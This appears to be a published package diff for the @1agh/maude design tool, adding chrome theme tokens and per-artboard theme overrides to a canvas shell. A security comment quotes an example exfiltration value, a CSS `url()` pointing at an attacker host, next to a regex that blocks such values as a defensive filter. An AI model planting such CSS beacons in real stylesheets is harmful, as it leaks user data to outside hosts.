@1agh/maude 0.23.0 → 0.24.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (101) hide show
  1. package/README.md +34 -1
  2. package/cli/bin/maude.mjs +3 -0
  3. package/cli/commands/cache.mjs +181 -0
  4. package/cli/commands/cache.test.mjs +166 -0
  5. package/cli/commands/design-link.test.mjs +32 -2
  6. package/cli/commands/design.mjs +95 -4
  7. package/cli/commands/design.test.mjs +56 -0
  8. package/cli/commands/help.mjs +34 -0
  9. package/cli/commands/hub.mjs +255 -30
  10. package/cli/commands/hub.test.mjs +126 -2
  11. package/cli/commands/init.mjs +3 -0
  12. package/cli/commands/preflight.mjs +11 -0
  13. package/cli/commands/preflight.test.mjs +46 -0
  14. package/cli/commands/scenario-report.mjs +45 -0
  15. package/cli/lib/cache.mjs +407 -0
  16. package/cli/lib/cache.test.mjs +303 -0
  17. package/cli/lib/design-link.mjs +74 -10
  18. package/cli/lib/flow-design-integration.test.mjs +165 -0
  19. package/cli/lib/gitignore-block.mjs +90 -0
  20. package/cli/lib/gitignore-block.test.mjs +123 -0
  21. package/cli/lib/plugin-cli-reachability.test.mjs +56 -0
  22. package/cli/lib/preflight.mjs +41 -10
  23. package/package.json +8 -8
  24. package/plugins/design/dev-server/ai-banner.tsx +2 -2
  25. package/plugins/design/dev-server/annotations-context-toolbar.tsx +349 -112
  26. package/plugins/design/dev-server/annotations-layer.tsx +906 -137
  27. package/plugins/design/dev-server/api.ts +109 -4
  28. package/plugins/design/dev-server/bin/preflight.sh +21 -10
  29. package/plugins/design/dev-server/bin/prep.sh +211 -0
  30. package/plugins/design/dev-server/bin/scenario-report.mjs +209 -0
  31. package/plugins/design/dev-server/bin/screenshot.sh +18 -1
  32. package/plugins/design/dev-server/bin/smoke.sh +94 -11
  33. package/plugins/design/dev-server/canvas-cursors.ts +125 -0
  34. package/plugins/design/dev-server/canvas-icons.tsx +130 -0
  35. package/plugins/design/dev-server/canvas-lib.tsx +25 -21
  36. package/plugins/design/dev-server/canvas-meta.schema.json +20 -0
  37. package/plugins/design/dev-server/canvas-shell.tsx +333 -19
  38. package/plugins/design/dev-server/client/app.jsx +155 -7
  39. package/plugins/design/dev-server/client/styles/3-shell.css +10 -0
  40. package/plugins/design/dev-server/collab/index.ts +87 -9
  41. package/plugins/design/dev-server/collab/persistence.ts +34 -3
  42. package/plugins/design/dev-server/collab/registry.ts +80 -2
  43. package/plugins/design/dev-server/collab/room.ts +21 -8
  44. package/plugins/design/dev-server/context-menu.tsx +167 -23
  45. package/plugins/design/dev-server/context.ts +24 -0
  46. package/plugins/design/dev-server/contextual-toolbar.tsx +7 -7
  47. package/plugins/design/dev-server/dist/client.bundle.js +126 -13
  48. package/plugins/design/dev-server/dist/comment-mount.js +78 -11
  49. package/plugins/design/dev-server/dist/styles.css +16 -0
  50. package/plugins/design/dev-server/equal-spacing-handles.tsx +1 -1
  51. package/plugins/design/dev-server/export-dialog.tsx +19 -17
  52. package/plugins/design/dev-server/fs-watch.ts +1 -0
  53. package/plugins/design/dev-server/http.ts +260 -20
  54. package/plugins/design/dev-server/input-router.tsx +26 -3
  55. package/plugins/design/dev-server/participants-chrome.tsx +10 -10
  56. package/plugins/design/dev-server/server.ts +123 -1
  57. package/plugins/design/dev-server/sync/agent.ts +95 -0
  58. package/plugins/design/dev-server/sync/codec.ts +155 -0
  59. package/plugins/design/dev-server/sync/connection-state.ts +203 -0
  60. package/plugins/design/dev-server/sync/index.ts +479 -35
  61. package/plugins/design/dev-server/sync/materialize.ts +62 -0
  62. package/plugins/design/dev-server/sync/migrate-seed.ts +163 -0
  63. package/plugins/design/dev-server/sync/origins.ts +57 -0
  64. package/plugins/design/dev-server/sync/projection.ts +368 -0
  65. package/plugins/design/dev-server/sync/status.ts +115 -0
  66. package/plugins/design/dev-server/sync/untrusted.ts +153 -0
  67. package/plugins/design/dev-server/test/_helpers.ts +6 -2
  68. package/plugins/design/dev-server/test/annotations-layer.test.ts +231 -0
  69. package/plugins/design/dev-server/test/annotations-roundtrip.test.ts +276 -0
  70. package/plugins/design/dev-server/test/canvas-cursors.test.ts +73 -0
  71. package/plugins/design/dev-server/test/canvas-origin-gate.test.ts +76 -0
  72. package/plugins/design/dev-server/test/collab-reseed-guard.test.ts +78 -0
  73. package/plugins/design/dev-server/test/collab-room.test.ts +21 -10
  74. package/plugins/design/dev-server/test/csp-canvas-shell.test.ts +46 -0
  75. package/plugins/design/dev-server/test/fixtures/phase-20-annotations.svg +1 -0
  76. package/plugins/design/dev-server/test/input-router.test.ts +21 -0
  77. package/plugins/design/dev-server/test/sanitize-annotation-svg.test.ts +100 -0
  78. package/plugins/design/dev-server/test/shared-doc-convergence.test.ts +265 -0
  79. package/plugins/design/dev-server/test/shared-doc-foundation.test.ts +63 -0
  80. package/plugins/design/dev-server/test/shared-doc-migrate.test.ts +160 -0
  81. package/plugins/design/dev-server/test/shared-doc-projection.test.ts +238 -0
  82. package/plugins/design/dev-server/test/sync-connection-state.test.ts +146 -0
  83. package/plugins/design/dev-server/test/sync-meta-codec.test.ts +123 -0
  84. package/plugins/design/dev-server/test/sync-runtime.test.ts +531 -4
  85. package/plugins/design/dev-server/test/sync-status.test.ts +80 -0
  86. package/plugins/design/dev-server/test/sync-untrusted.test.ts +104 -0
  87. package/plugins/design/dev-server/test/use-tool-mode.test.tsx +38 -10
  88. package/plugins/design/dev-server/tool-palette.tsx +18 -16
  89. package/plugins/design/dev-server/undo-hud.tsx +4 -4
  90. package/plugins/design/dev-server/undo-stack.ts +20 -4
  91. package/plugins/design/dev-server/use-annotation-resize.tsx +16 -5
  92. package/plugins/design/dev-server/use-tool-mode.tsx +15 -12
  93. package/plugins/design/dev-server/ws.ts +40 -1
  94. package/plugins/design/templates/_shell.html +49 -1
  95. package/plugins/design/templates/canvas.tsx.template +13 -0
  96. package/plugins/design/templates/design-system-inspiration/SUB-AGENT-PROMPTS.md +14 -7
  97. package/plugins/flow/.claude-plugin/config.schema.json +5 -0
  98. package/plugins/flow/templates/ai-skeleton/README.md +1 -1
  99. package/plugins/flow/templates/ai-skeleton/gitignore +10 -0
  100. package/plugins/flow/templates/ai-skeleton/scenarios/README.md +3 -1
  101. package/plugins/flow/templates/ai-skeleton/workflows.config.json +2 -1
@@ -98,25 +98,63 @@ import { useUndoStack } from './use-undo-stack.tsx';
98
98
  // plane would otherwise scale a 2 px outline to 0.84 px at 42 % zoom (subpixel
99
99
  // = invisible). No per-element class stamping is used.
100
100
 
101
- // HUD-namespace token block. System-review 2026-05-27 (D-4) flagged that the
101
+ // HUD / chrome token block. System-review 2026-05-27 (D-4) flagged that the
102
102
  // dev-server chrome (toolbar + minimap + halos + marquee + AI banner) used
103
103
  // `var(--accent, …)` which inherited the canvas DS palette — a violet StudyFi
104
104
  // canvas turned the floating cursor toolbar violet. The HUD owns its own
105
105
  // `--maude-hud-*` token family, set on `:root` of the canvas iframe document
106
- // here. Canvas DSs do NOT define `--maude-hud-*`, so HUD CSS resolves against
107
- // this block regardless of what the imported `:root { --accent: … }` looks like.
106
+ // here. Canvas DSs do NOT define these names, so HUD/chrome CSS resolves
107
+ // against this block regardless of what the imported `:root { --accent: … }`
108
+ // looks like.
108
109
  //
109
- // Defaults match the existing inline fallback color (`#d63b1f`, Maude brand
110
- // orange-rust) so no visual change to the default theme. Users who want to
111
- // re-theme the HUD can set `--maude-hud-accent` etc. via a `<style>` block
112
- // AFTER this one (CSS cascade later wins).
110
+ // Two sub-families:
111
+ // `--maude-hud-accent*` theme-agnostic brand orange-rust. Defaults match
112
+ // the existing inline fallback (`#d63b1f`) so the accent never changes with
113
+ // the theme. Users who want to re-theme the HUD can set these via a
114
+ // `<style>` block AFTER this one (CSS cascade — later wins).
115
+ // • `--maude-chrome-*` — NEUTRAL surface/text/border family that DOES follow
116
+ // the Maude chrome theme (system-review 2026-05-28 D9). The whole canvas-
117
+ // shell chrome (workspace plane, dotted grid, floating toolbar, minimap,
118
+ // zoom HUD, popovers, halos, context menu, undo HUD, presence chrome) reads
119
+ // these instead of the DS `--bg-*`/`--fg-*` palette, so the chrome flips
120
+ // dark↔light with the rest of the dev-server while ARTBOARDS keep the theme
121
+ // their design system defines. The set is selected by a `data-maude-theme`
122
+ // attribute on the iframe `documentElement`, propagated over the existing
123
+ // `dgn:*` postMessage bridge (see CanvasRouter onMessage + app.jsx).
124
+ //
125
+ // Values mirror the Maude app-chrome neutrals (client/styles/1-tokens.css) so
126
+ // the in-iframe chrome and the outer shell read as one product. The DARK set is
127
+ // also the default (attribute absent / "dark") so a canvas that never receives
128
+ // a theme message renders coherent-dark — matching the dev-server's own default
129
+ // theme (readInitialTheme() → 'dark'). DDR — mirrors the `--maude-hud-*`
130
+ // precedent; the `data-maude-theme` attribute is deliberately SEPARATE from the
131
+ // DS `data-theme` so chrome theming never touches artboard palettes.
113
132
  const HUD_TOKENS_CSS = `
114
- :root {
133
+ :root,
134
+ :root[data-maude-theme="dark"] {
115
135
  --maude-hud-accent: #d63b1f;
116
136
  --maude-hud-accent-hover: #b8331b;
117
137
  --maude-hud-accent-active: #962a16;
118
138
  --maude-hud-accent-fg: #ffffff;
119
139
  --maude-hud-accent-tint: color-mix(in oklab, #d63b1f 14%, transparent);
140
+
141
+ --maude-chrome-bg-0: oklch(13% 0.012 60);
142
+ --maude-chrome-bg-1: oklch(17% 0.014 60);
143
+ --maude-chrome-bg-2: oklch(20% 0.016 60);
144
+ --maude-chrome-fg-0: oklch(94% 0.014 80);
145
+ --maude-chrome-fg-1: oklch(78% 0.014 80);
146
+ --maude-chrome-border: oklch(28% 0.018 60);
147
+ --maude-chrome-shadow: rgba(0, 0, 0, 0.45);
148
+ --maude-chrome-font-mono: 'Berkeley Mono', 'TX-02', 'JetBrains Mono', 'IBM Plex Mono', ui-monospace, SFMono-Regular, Menlo, monospace;
149
+ }
150
+ :root[data-maude-theme="light"] {
151
+ --maude-chrome-bg-0: oklch(97.5% 0.008 78);
152
+ --maude-chrome-bg-1: oklch(95.5% 0.010 78);
153
+ --maude-chrome-bg-2: oklch(93.0% 0.012 78);
154
+ --maude-chrome-fg-0: oklch(20% 0.020 50);
155
+ --maude-chrome-fg-1: oklch(38% 0.018 50);
156
+ --maude-chrome-border: oklch(86% 0.014 70);
157
+ --maude-chrome-shadow: color-mix(in oklab, oklch(20% 0.020 50) 14%, transparent);
120
158
  }
121
159
  `;
122
160
 
@@ -138,7 +176,7 @@ const HALO_CSS = `
138
176
  elements. NO ring, NO ticks. Synchronous paint (no debounce). */
139
177
  .dc-cv-halo--hover {
140
178
  border: 1.5px solid color-mix(in oklab, var(--maude-hud-accent, #0d99ff) 60%, transparent);
141
- box-shadow: inset 0 0 0 1px var(--bg-0, #ffffff);
179
+ box-shadow: inset 0 0 0 1px var(--maude-chrome-bg-0, #ffffff);
142
180
  }
143
181
  /* Selected (single) — 2px solid + 18% ring halo + 4 filled corner ticks.
144
182
  Ticks are <i class="tick tick-*"> children at inset:-3px, 8x8, accent fill. */
@@ -152,7 +190,7 @@ const HALO_CSS = `
152
190
  height: 8px;
153
191
  background: var(--maude-hud-accent, #0d99ff);
154
192
  border-radius: 1px;
155
- box-shadow: 0 0 0 1px var(--bg-0, #ffffff);
193
+ box-shadow: 0 0 0 1px var(--maude-chrome-bg-0, #ffffff);
156
194
  }
157
195
  .dc-cv-halo--selected .tick-tl { top: -3px; left: -3px; }
158
196
  .dc-cv-halo--selected .tick-tr { top: -3px; right: -3px; }
@@ -186,7 +224,7 @@ const HALO_CSS = `
186
224
  height: 6px;
187
225
  background: var(--maude-hud-accent, #0d99ff);
188
226
  border-radius: 1px;
189
- box-shadow: 0 0 0 1px var(--bg-0, #ffffff);
227
+ box-shadow: 0 0 0 1px var(--maude-chrome-bg-0, #ffffff);
190
228
  }
191
229
  .dc-cv-group-bbox .tick-tl { top: -3px; left: -3px; }
192
230
  .dc-cv-group-bbox .tick-tr { top: -3px; right: -3px; }
@@ -313,6 +351,23 @@ export function CanvasShell({
313
351
  children: ReactNode;
314
352
  }) {
315
353
  ensureHaloStyles();
354
+
355
+ // D9 — "Follow chrome" artboards. When the chrome theme flips (the theme
356
+ // postMessage handler in CanvasRouter updates `data-maude-theme` on <html>),
357
+ // re-point every artboard the user marked as a follower at the new theme.
358
+ // A single observer per canvas (cleaned up on unmount) — no per-artboard
359
+ // listeners to leak. The override itself is a CSS rule keyed by data-dc-screen
360
+ // (see setArtboardTheme), so it survives React re-renders without flicker.
361
+ useEffect(() => {
362
+ if (typeof MutationObserver === 'undefined' || typeof document === 'undefined') return;
363
+ const obs = new MutationObserver(() => applyArtboardFollowers());
364
+ obs.observe(document.documentElement, {
365
+ attributes: true,
366
+ attributeFilter: ['data-maude-theme'],
367
+ });
368
+ return () => obs.disconnect();
369
+ }, []);
370
+
316
371
  // ToolProvider is mounted by DesignCanvas one level up (so the viewport
317
372
  // controller's `isPanDragActive` predicate can read the live tool state).
318
373
  // SelectionSetProvider is mounted via MaybeSelectionSetProvider — the shell-
@@ -659,6 +714,194 @@ function CanvasCore({
659
714
  );
660
715
  }
661
716
 
717
+ // ─────────────────────────────────────────────────────────────────────────────
718
+ // Per-artboard theme override (D9). The canvas-shell CHROME follows the Maude
719
+ // theme via `data-maude-theme`; ARTBOARDS keep their DS theme by default. This
720
+ // block backs the right-click `Theme ▸ DS default / Light / Dark / Follow
721
+ // chrome` submenu — it re-themes a single artboard by stamping its
722
+ // `.dc-artboard` <article> with the DS's theme-wrapper convention.
723
+ //
724
+ // DS theme-wrapper conventions vary (`.mdcc[data-theme]`, `.app[data-theme]`,
725
+ // bare `[data-theme]`, …) and there's no reliable config flag, so we DETECT it
726
+ // with a hidden computed-style probe: stamp a throwaway nested <div> with each
727
+ // candidate `<class>[data-theme=light|dark]` and keep the first whose resolved
728
+ // `--bg-0` differs between light and dark. Because the probe tests a NON-root
729
+ // element, "supported" is exactly "stamping one artboard will work" — a DS that
730
+ // only themes `:root[data-theme]` correctly reports unsupported (you genuinely
731
+ // can't theme a single artboard there).
732
+
733
+ interface DsThemeSupport {
734
+ supported: boolean;
735
+ /** The class the DS scopes its theme blocks to (`''` = bare `[data-theme]`). */
736
+ wrapperClass: string;
737
+ }
738
+
739
+ let _dsThemeSupport: DsThemeSupport | null = null;
740
+
741
+ function detectDsThemeSupport(): DsThemeSupport {
742
+ if (_dsThemeSupport) return _dsThemeSupport;
743
+ const fallback: DsThemeSupport = { supported: false, wrapperClass: '' };
744
+ if (typeof document === 'undefined' || !document.body) return fallback;
745
+ try {
746
+ const host = document.createElement('div');
747
+ host.setAttribute('aria-hidden', 'true');
748
+ host.style.cssText =
749
+ 'position:absolute;left:-9999px;top:0;width:0;height:0;overflow:hidden;pointer-events:none;';
750
+ document.body.appendChild(host);
751
+ const read = (cls: string, theme: string): string => {
752
+ const el = document.createElement('div');
753
+ if (cls) el.className = cls;
754
+ el.setAttribute('data-theme', theme);
755
+ host.appendChild(el);
756
+ const v = getComputedStyle(el).getPropertyValue('--bg-0').trim();
757
+ host.removeChild(el);
758
+ return v;
759
+ };
760
+ // Bare attribute first (cleanest), then the common class conventions.
761
+ let found = fallback;
762
+ for (const cls of ['', 'mdcc', 'app']) {
763
+ const light = read(cls, 'light');
764
+ const dark = read(cls, 'dark');
765
+ if (light && dark && light !== dark) {
766
+ found = { supported: true, wrapperClass: cls };
767
+ break;
768
+ }
769
+ }
770
+ document.body.removeChild(host);
771
+ _dsThemeSupport = found;
772
+ return found;
773
+ } catch {
774
+ return fallback;
775
+ }
776
+ }
777
+
778
+ // Why not just stamp `data-theme` on the `.dc-artboard` element? Two reasons,
779
+ // both found the hard way: (1) React OWNS the artboard <article> + the canvas
780
+ // content's `rootClass` wrapper — it reconciles their className/attrs back to
781
+ // the JSX values on every re-render, wiping any imperative mutation; and (2)
782
+ // the canvas content carries its OWN `rootClass[data-theme]` wrapper (the DS
783
+ // default), which re-establishes the default tokens BELOW the artboard, so
784
+ // setting `data-theme` on the outer article never reaches the content. The
785
+ // robust mechanism is a single injected <style> keyed by the STABLE
786
+ // `data-dc-screen` attribute (which React always re-renders WITH), re-declaring
787
+ // the chosen theme's `--*` tokens scoped to the artboard's content wrapper.
788
+ // Survives re-renders, beats the wrapper on cascade order, zero flicker.
789
+
790
+ // Reject token VALUES that could turn the re-emitted <style> into a resource
791
+ // fetch / exfil beacon. Per the CSS spec a custom-property value can't contain
792
+ // an unmatched top-level `}` (so brace-breakout to other selectors is already
793
+ // impossible), but `url()` / `image()` / `@import` / comments survive verbatim.
794
+ // For a TRUSTED same-origin DS this is inert, but a DDR-054 untrusted synced
795
+ // canvas could ship `--bg-0: #fff url(https://attacker/x?leak)` — copying it
796
+ // here would fire that fetch when the artboard renders. Drop such values; the
797
+ // token simply falls back to the DS default for that artboard. (Security
798
+ // review F2, 2026-05-29 — defense-in-depth on top of the canvas-origin CSP.)
799
+ const _UNSAFE_TOKEN_VALUE = /url\(|image\(|image-set\(|-image-set\(|@import|\/\*|expression\(/i;
800
+
801
+ // Collect a DS theme block's custom-property declarations by scanning the
802
+ // loaded stylesheets for top-level rules whose selector targets that theme.
803
+ // Only `--*` props are copied (token re-definitions) — never layout/type, and
804
+ // never @media-nested rules (e.g. the prefers-reduced-motion 1ms collapse).
805
+ const _themeDecls: Partial<Record<'light' | 'dark', string>> = {};
806
+ function collectThemeDeclarations(theme: 'light' | 'dark'): string {
807
+ const cached = _themeDecls[theme];
808
+ if (cached != null) return cached;
809
+ let decls = '';
810
+ if (typeof document !== 'undefined') {
811
+ for (const sheet of Array.from(document.styleSheets)) {
812
+ let rules: CSSRuleList | undefined;
813
+ try {
814
+ rules = sheet.cssRules;
815
+ } catch {
816
+ continue; // cross-origin / unreadable sheet
817
+ }
818
+ if (!rules) continue;
819
+ for (const rule of Array.from(rules)) {
820
+ if (!(rule instanceof CSSStyleRule)) continue;
821
+ if (!(rule.selectorText || '').includes(`[data-theme="${theme}"]`)) continue;
822
+ const style = rule.style;
823
+ for (let i = 0; i < style.length; i++) {
824
+ const prop = style[i];
825
+ if (!prop.startsWith('--')) continue;
826
+ const value = style.getPropertyValue(prop);
827
+ if (_UNSAFE_TOKEN_VALUE.test(value)) continue;
828
+ decls += `${prop}:${value};`;
829
+ }
830
+ }
831
+ }
832
+ }
833
+ _themeDecls[theme] = decls;
834
+ return decls;
835
+ }
836
+
837
+ const _artboardThemes = new Map<string, 'light' | 'dark'>();
838
+ const _artboardFollowers = new Set<string>();
839
+
840
+ function cssEsc(v: string): string {
841
+ return typeof CSS !== 'undefined' && CSS.escape ? CSS.escape(v) : v;
842
+ }
843
+
844
+ // Selector targeting the artboard's content wrapper (where the DS theme block
845
+ // is re-established). Beats `.<wrapper>[data-theme="…"]` because the injected
846
+ // <style> is appended after the DS stylesheet (later-wins on equal specificity).
847
+ function artboardScopeSelector(screenId: string): string {
848
+ const { wrapperClass } = detectDsThemeSupport();
849
+ const base = `[data-dc-screen="${cssEsc(screenId)}"]`;
850
+ if (wrapperClass) {
851
+ const c = cssEsc(wrapperClass);
852
+ return `${base} .${c},${base}.${c}`;
853
+ }
854
+ return `${base} [data-theme],${base}[data-theme]`;
855
+ }
856
+
857
+ function rebuildArtboardThemeStyle(): void {
858
+ if (typeof document === 'undefined') return;
859
+ let el = document.getElementById('dc-artboard-theme-css') as HTMLStyleElement | null;
860
+ if (!el) {
861
+ el = document.createElement('style');
862
+ el.id = 'dc-artboard-theme-css';
863
+ document.head.appendChild(el);
864
+ }
865
+ let css = '';
866
+ for (const [screenId, theme] of _artboardThemes) {
867
+ const decls = collectThemeDeclarations(theme);
868
+ if (decls) css += `${artboardScopeSelector(screenId)}{${decls}}\n`;
869
+ }
870
+ el.textContent = css;
871
+ }
872
+
873
+ /** Current canvas-shell chrome theme (mirrors `data-maude-theme` on <html>). */
874
+ function currentChromeTheme(): 'light' | 'dark' {
875
+ if (typeof document === 'undefined') return 'dark';
876
+ return document.documentElement.dataset.maudeTheme === 'light' ? 'light' : 'dark';
877
+ }
878
+
879
+ /**
880
+ * Set (or clear) a single artboard's theme override, keyed by its stable
881
+ * `data-dc-screen` id. `theme === null` → remove the override (DS default).
882
+ * `follow === true` → mirror the live chrome theme and keep tracking toggles.
883
+ */
884
+ function setArtboardTheme(screenId: string, theme: 'light' | 'dark' | null, follow = false): void {
885
+ _artboardFollowers.delete(screenId);
886
+ if (follow) {
887
+ _artboardFollowers.add(screenId);
888
+ _artboardThemes.set(screenId, currentChromeTheme());
889
+ } else if (theme === null) {
890
+ _artboardThemes.delete(screenId);
891
+ } else {
892
+ _artboardThemes.set(screenId, theme);
893
+ }
894
+ rebuildArtboardThemeStyle();
895
+ }
896
+
897
+ /** Re-point every "Follow chrome" artboard at the current chrome theme. */
898
+ function applyArtboardFollowers(): void {
899
+ if (_artboardFollowers.size === 0) return;
900
+ const t = currentChromeTheme();
901
+ for (const id of _artboardFollowers) _artboardThemes.set(id, t);
902
+ rebuildArtboardThemeStyle();
903
+ }
904
+
662
905
  // ─────────────────────────────────────────────────────────────────────────────
663
906
  // Registry builder — closes over controller + clear callback.
664
907
 
@@ -743,6 +986,56 @@ function buildRegistry(deps: {
743
986
  },
744
987
  });
745
988
 
989
+ // D9 — per-artboard theme override, keyed by the stable `data-dc-screen` id
990
+ // (target.artboardId) via an injected stylesheet (see setArtboardTheme). The
991
+ // DS-supports-both probe gates the explicit Light/Dark entries; "DS default"
992
+ // + "Follow chrome" are always available.
993
+ const themeSupport = detectDsThemeSupport();
994
+ const themeHint = 'This design system defines only one theme';
995
+ const themeItem: MenuItem = {
996
+ id: 'theme',
997
+ label: 'Theme',
998
+ onSelect: () => {
999
+ /* parent of a submenu — never invoked directly */
1000
+ },
1001
+ submenu: [
1002
+ {
1003
+ id: 'theme-ds-default',
1004
+ label: 'DS default',
1005
+ onSelect: (target) => {
1006
+ if (target.artboardId) setArtboardTheme(target.artboardId, null);
1007
+ },
1008
+ },
1009
+ {
1010
+ id: 'theme-light',
1011
+ label: 'Light',
1012
+ disabled: !themeSupport.supported,
1013
+ disabledHint: themeHint,
1014
+ onSelect: (target) => {
1015
+ if (target.artboardId) setArtboardTheme(target.artboardId, 'light');
1016
+ },
1017
+ },
1018
+ {
1019
+ id: 'theme-dark',
1020
+ label: 'Dark',
1021
+ disabled: !themeSupport.supported,
1022
+ disabledHint: themeHint,
1023
+ onSelect: (target) => {
1024
+ if (target.artboardId) setArtboardTheme(target.artboardId, 'dark');
1025
+ },
1026
+ },
1027
+ {
1028
+ id: 'theme-follow',
1029
+ label: 'Follow chrome',
1030
+ disabled: !themeSupport.supported,
1031
+ disabledHint: themeHint,
1032
+ onSelect: (target) => {
1033
+ if (target.artboardId) setArtboardTheme(target.artboardId, null, true);
1034
+ },
1035
+ },
1036
+ ],
1037
+ };
1038
+
746
1039
  return {
747
1040
  element: [
748
1041
  [
@@ -868,6 +1161,7 @@ function buildRegistry(deps: {
868
1161
  onSelect: () => distributeArtboards('y'),
869
1162
  },
870
1163
  ],
1164
+ [themeItem],
871
1165
  [exportItem('export-artboard', 'Export this artboard…', 'artboard')],
872
1166
  ],
873
1167
  world: [
@@ -944,6 +1238,13 @@ function CanvasRouter({
944
1238
  // user closes the composer.
945
1239
  useEffect(() => {
946
1240
  if (typeof window === 'undefined') return;
1241
+ // Default the canvas-shell chrome theme to dark (matches the dev-server's
1242
+ // own default + the bare `:root` --maude-chrome-* set) so a canvas that
1243
+ // never receives a `dgn:'theme'` message still renders coherent-dark and
1244
+ // the follow-chrome observer (Task 5) has a concrete value to mirror.
1245
+ if (!document.documentElement.dataset.maudeTheme) {
1246
+ document.documentElement.dataset.maudeTheme = 'dark';
1247
+ }
947
1248
  const onMessage = (e: MessageEvent) => {
948
1249
  const m = e.data as { dgn?: string } | null;
949
1250
  if (!m || typeof m !== 'object' || !m.dgn) return;
@@ -958,6 +1259,19 @@ function CanvasRouter({
958
1259
  if (typeof t === 'string') setTool(t as never);
959
1260
  return;
960
1261
  }
1262
+ // D9 — canvas-shell chrome follows the Maude chrome theme. The chrome's
1263
+ // `--maude-chrome-*` token family is keyed by `data-maude-theme` on the
1264
+ // iframe documentElement (see HUD_TOKENS_CSS). This attribute is
1265
+ // DELIBERATELY separate from the DS `data-theme`: it only re-themes the
1266
+ // floating chrome, never the artboard palettes. Followers (per-artboard
1267
+ // "Follow chrome") restamp via the MutationObserver in CanvasShell.
1268
+ if (m.dgn === 'theme') {
1269
+ const t = (m as { theme?: string }).theme;
1270
+ if (t === 'light' || t === 'dark') {
1271
+ document.documentElement.dataset.maudeTheme = t;
1272
+ }
1273
+ return;
1274
+ }
961
1275
  };
962
1276
  window.addEventListener('message', onMessage);
963
1277
  return () => window.removeEventListener('message', onMessage);
@@ -1085,14 +1399,14 @@ const MULTI_TOOLBAR_CSS = `
1085
1399
  align-items: stretch;
1086
1400
  gap: 2px;
1087
1401
  padding: 4px;
1088
- background: var(--u-bg-0, var(--bg-0, #ffffff));
1089
- border: 1px solid var(--u-fg-0, #1c1917);
1402
+ background: var(--maude-chrome-bg-0, #ffffff);
1403
+ border: 1px solid var(--maude-chrome-fg-0, #1c1917);
1090
1404
  border-radius: 8px;
1091
- box-shadow: 0 6px 24px color-mix(in oklab, var(--u-fg-0, #1c1917) 10%, transparent);
1092
- font-family: var(--u-font-mono, ui-monospace, SFMono-Regular, Menlo, monospace);
1405
+ box-shadow: 0 6px 24px var(--maude-chrome-shadow, color-mix(in oklab, #1c1917 10%, transparent));
1406
+ font-family: var(--maude-chrome-font-mono, ui-monospace, SFMono-Regular, Menlo, monospace);
1093
1407
  font-size: 11px;
1094
1408
  letter-spacing: 0.02em;
1095
- color: var(--u-fg-0, #1a1a1a);
1409
+ color: var(--maude-chrome-fg-0, #1a1a1a);
1096
1410
  user-select: none;
1097
1411
  }
1098
1412
  .dc-multi-artboard-tb button {
@@ -1118,8 +1432,8 @@ const MULTI_TOOLBAR_CSS = `
1118
1432
  }
1119
1433
  .dc-multi-artboard-tb .dc-mab-count {
1120
1434
  padding: 4px 8px 4px 10px;
1121
- color: var(--fg-1, rgba(40,30,20,0.7));
1122
- border-right: 1px solid var(--u-border-subtle, rgba(0,0,0,0.08));
1435
+ color: var(--maude-chrome-fg-1, rgba(40,30,20,0.7));
1436
+ border-right: 1px solid var(--maude-chrome-border, rgba(0,0,0,0.08));
1123
1437
  margin-right: 2px;
1124
1438
  font-variant-numeric: tabular-nums;
1125
1439
  }
@@ -1131,7 +1445,7 @@ const MULTI_TOOLBAR_CSS = `
1131
1445
  .dc-multi-artboard-tb .dc-mab-divider {
1132
1446
  width: 1px;
1133
1447
  align-self: stretch;
1134
- background: var(--u-border-subtle, rgba(0,0,0,0.10));
1448
+ background: var(--maude-chrome-border, rgba(0,0,0,0.10));
1135
1449
  margin: 0 4px;
1136
1450
  }
1137
1451
  @media (prefers-reduced-motion: reduce) {